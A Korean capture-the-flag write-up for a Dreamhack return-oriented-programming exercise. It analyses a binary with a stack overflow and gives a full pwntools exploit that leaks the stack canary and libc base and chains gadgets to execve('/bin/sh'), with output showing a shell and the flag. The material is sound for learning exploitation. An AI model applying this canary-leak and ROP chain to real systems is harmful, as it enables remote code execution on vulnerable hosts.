Description
Exploit Tech: Return Oriented Programming에서 실습하는 문제입니다.
checksec
seo@seo-virtual-machine:~/Desktop/rop$ checksec --file ./rop [*] '/home/seo/Desktop/rop/rop' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000)
이번 문제는 이전 basic_rop_x64 문제와 달리 스택 카나리 보호 기법이 적용되어있다.
Decompiled-src
main
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[56]; // [rsp+0h] [rbp-40h] BYREF unsigned __int64 v5; // [rsp+38h] [rbp-8h] v5 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); puts("[1] Leak Canary"); write(1, "Buf: ", 5uLL); read(0, buf, 256uLL); printf("Buf: %s\n", buf); puts("[2] Input ROP payload"); write(1, "Buf: ", 5uLL); read(0, buf, 256uLL); return 0; }
할당된 56바이트의 buf에 read
함수로 256바이트만큼이나 넘치게 입력받고 있다.
그리고 스택 카나리를 노출시킬 수 있도록 입력받은 버퍼를 출력하게끔 코드가 추가되었다.
Solution
이전 basic_rop_x64 문제와 달리 크게 다를바 없다.
처음에 스택 카나리의 1바이트인 \x00을 덮어써서 노출시키게 만들고,
스택 카나리는 유지한채로 스택 오버플로우를 발생시키게 만들면 된다.
스택 카나리는 buf를 57바이트만큼 더미로 채우면 획득할 수 있다.
solve.py
from pwn import * #context.log_level = 'debug' warnings.filterwarnings( 'ignore' ) #p = process("./rop") p = remote('host3.dreamhack.games', 22531) p.recvuntil("Buf: ") payload = b"" payload += b"A" * 57 p.send(payload) canary = p.recvline() canary = canary.split(b"A")[-1] canary = canary.split(b"\n")[0] canary = canary.split(b"\x01")[0] canary = b"\x00" + canary canary = u64(canary) print(f"canary: {hex(canary)}") p.recvuntil("Buf: ") pop_rdi_ret = 0x400853 e = ELF('./rop') payload = b"" payload += b"A"*0x38 payload += p64(canary) payload += b"B"*0x8 payload += p64(pop_rdi_ret) payload += p64(e.got['puts']) payload += p64(e.symbols['puts']) payload += p64(e.symbols['main']) p.send(payload) #get leaked puts_got puts_got_mem = p.recvline() puts_got_mem = puts_got_mem[0:6] puts_got_mem += b"\x00\x00" puts_got_mem = u64(puts_got_mem) libc_base = puts_got_mem - 0x80ed0 print(f"puts_got_mem: {hex(puts_got_mem)}") print(f"libc_base: {hex(libc_base)}") #Stage 2. execve"/bin/sh", NULL, NULL); system = 0x50d60 + libc_base execve = 0xEB0F0 + libc_base bin_sh = 0x1d8698 + libc_base pop_rsi_ret = libc_base + 0x2be51 pop_rdx_pop_r12_ret = libc_base + 0x11f497 p.recvuntil("Buf: ") payload = b"" payload += b"A" * 0x38 payload += p64(canary) payload += b"B" * 8 #set rdi payload += p64(pop_rdi_ret) payload += p64(bin_sh) #arg1: /bin/sh #set rsi payload += p64(pop_rsi_ret) payload += p64(0) #arg2: NULL #set rdx payload += p64(pop_rdx_pop_r12_ret) payload += p64(0) #rdx #arg3: NULL payload += p64(0) #r12 payload += p64(execve) p.send(payload) p.recvuntil("Buf: ") p.send(payload) p.interactive()
Result
seo@seo-virtual-machine:~/Desktop/rop$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 22531: Done canary: 0x80e05aaef4426800 [*] '/home/seo/Desktop/rop/rop' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) puts_got_mem: 0x7ff294c66ed0 libc_base: 0x7ff294be6000 [*] Switching to interactive mode AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [2] Input ROP payload Buf: $ ls flag rop run.sh $ cat flag DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}